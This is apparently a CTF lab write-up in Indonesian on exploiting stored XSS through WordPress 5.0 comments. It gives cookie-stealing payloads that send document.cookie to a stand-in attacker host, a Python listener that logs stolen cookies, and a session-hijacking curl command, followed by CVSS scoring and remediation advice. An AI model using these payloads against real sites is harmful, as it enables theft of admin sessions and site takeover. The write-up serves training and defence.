TDCTF Academy Logo TDCTF ACADEMY

WordPress 5.0 - Stored XSS

Objective

Mengeksploitasi celah Stored Cross-Site Scripting (XSS) pada situs WordPress 5.0 di wps-vuln.vuln.cybersecurity.or.id melalui fitur komentar. Tujuan akhir adalah mencuri cookie session admin ketika admin membuka halaman yang berisi komentar berbahaya.


Reconnaissance

1. Identifikasi Target

Buka situs target:

http://wps-vuln.vuln.cybersecurity.or.id

Ditemukan bahwa situs ini adalah WordPress 5.0 dengan fitur komentar aktif di setiap postingan.

2. Verifikasi Versi WordPress

curl -s "http://wps-vuln.vuln.cybersecurity.or.id/readme.html" | grep -i "version"

Hasil:

Version 5.0

3. Cek Form Komentar

Buka salah satu postingan:

http://wps-vuln.vuln.cybersecurity.or.id/2025/01/hello-world/

Halaman menampilkan form komentar dengan field:

  • Name (input text)
  • Email (input email)
  • Website (input url)
  • Comment/Message (textarea)

4. Uji Input dengan HTML Sederhana

Coba kirim komentar dengan tag HTML sederhana:

curl -X POST "http://wps-vuln.vuln.cybersecurity.or.id/wp-comments-post.php" \
-d "author=TestUser" \
-d "comment=<b>test bold</b>" \
-d "comment_post_ID=1" \
-d "submit=Post+Comment"

Hasil: Komentar masuk, dan tag <b> tampil sebagai bold di halaman - artinya input tidak di-sanitasi dengan benar.


Exploitation

1. Injeksi Stored XSS Sederhana

Kirim komentar dengan script JavaScript:

curl -X POST "http://wps-vuln.vuln.cybersecurity.or.id/wp-comments-post.php" \
-d "author=XSSHunter" \
-d "comment=<script>alert('XSS')</script>" \
-d "comment_post_ID=1" \
-d "submit=Post+Comment"

Hasil: Komentar masuk. Saat halaman dibuka, muncul alert box dengan pesan "XSS".

Gunakan payload yang mengirim cookie ke server attacker:

cat << 'EOF' > steal_payload.txt
<script>
fetch('http://attacker-server.com/steal?cookie=' + document.cookie);
</script>
EOF

curl -X POST "http://wps-vuln.vuln.cybersecurity.or.id/wp-comments-post.php" \
-d "author=CookieStealer" \
-d "comment=$(cat steal_payload.txt)" \
-d "comment_post_ID=1" \
-d "submit=Post+Comment"

Atau dengan payload yang lebih stealth:

<svg onload="fetch('http://attacker-server.com/log?c='+document.cookie)">

Atau menggunakan Image tag dengan event handler:

<img src=x onerror="this.src='http://attacker-server.com/steal?cookie='+document.cookie">

3. Setup Listener (Server Attacker)

Di server attacker, jalankan listener untuk menangkap cookie:

# Python HTTP server sederhana untuk logging
python3 -c "
from http.server import HTTPServer, BaseHTTPRequestHandler
import urllib.parse

class Handler(BaseHTTPRequestHandler):
def do_GET(self):
path = urllib.parse.urlparse(self.path)
query = urllib.parse.parse_qs(path.query)
if 'cookie' in query:
print(f'[STOLEN COOKIE] {query[\"cookie\"][0]}')
with open('stolen_cookies.txt', 'a') as f:
f.write(f'{query[\"cookie\"][0]}\n')
self.send_response(200)
self.end_headers()
self.wfile.write(b'OK')

HTTPServer(('0.0.0.0', 8080), Handler).serve_forever()
"

4. Tunggu Admin Membuka Halaman

Ketika admin mengunjungi halaman postingan yang berisi komentar XSS, cookie akan otomatis terkirim ke server attacker.

Hasil di log attacker:

[STOLEN COOKIE] PHPSESSID=abc123def456; wordpress_logged_in_123abc=admin%7C1700000000%7Chash

5. Session Hijacking

Gunakan cookie yang dicuri untuk membajak session admin:

curl -b "wordpress_logged_in_123abc=admin%7C1700000000%7Chash" \
"http://wps-vuln.vuln.cybersecurity.or.id/wp-admin/"

Hasil: Akses ke dashboard admin WordPress berhasil tanpa perlu login.


Evidence

Payload yang Terkirim

$ curl -X POST "http://wps-vuln.vuln.cybersecurity.or.id/wp-comments-post.php" \
-d "author=XSSHunter" \
-d "comment=<script>alert(document.cookie)</script>" \
-d "comment_post_ID=1" \
-d "submit=Post+Comment"
PHPSESSID=abc123def456;
wordpress_logged_in_123abc=admin%7C1700000000%7Chash
wordpress_test_cookie=WP+Cookie+check

Screenshot Alert XSS

[MEDIA:/home/labkom/docs/docs/writeups/evidence/wps-xss-alert.png]

️ Risk Assessment

Faktor Nilai
CVSS 3.1 Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Base Score 6.1 (Medium)
Attack Vector Network (N)
Attack Complexity Low (L)
Privileges Required None (N)
User Interaction Required (R) - admin harus membuka halaman
Scope Changed (C) - dari komentar ke session admin
Impact Low (L) pada Confidentiality dan Integrity
OWASP Mapping A03:2021 - Injection

Dampak Bisnis

  • Pencurian session admin WordPress
  • Akses penuh ke dashboard WordPress
  • Kemampuan injeksi malware/backdoor via tema/plugin
  • Defacement website
  • Penyebaran XSS ke pengunjung lain (worm XSS)

️ Remediation

1. Sanitasi Input (WordPress)

WordPress versi terbaru sudah memiliki sanitasi, tetapi pastikan tidak ada filter yang dimatikan. Periksa wp-includes/kses.php:

// Pastikan fungsi ini aktif
add_filter('pre_comment_content', 'wp_filter_post_kses');

2. Gunakan Content Security Policy (CSP)

Tambahkan header CSP di .htaccess atau konfigurasi server:

# .htaccess
Header set Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-random123';"

Atau di Nginx:

add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-${request_id}';";

Di wp-config.php:

define('WP_ADMIN_COOKIE_PATH', '/');
define('COOKIE_DOMAIN', '');
define('COOKIEPATH', '/');
define('SITECOOKIEPATH', '/');
define('ADMIN_COOKIE_PATH', '/');

Set cookie flag via konfigurasi server:

// wp-config.php
@ini_set('session.cookie_httponly', 1);
@ini_set('session.cookie_secure', 1);

4. Validasi Input Side-Server

// Strip all script tags
$comment = preg_replace('/<script\b[^>]*>(.*?)<\/script>/is', '', $_POST['comment']);

// Escape output
echo htmlspecialchars($comment, ENT_QUOTES, 'UTF-8');

5. Gunakan Plugin Keamanan

  • Wordfence - XSS filtering
  • WP Cerber - input validation
  • Sucuri Security - WAF

References

PADA HALAMAN INI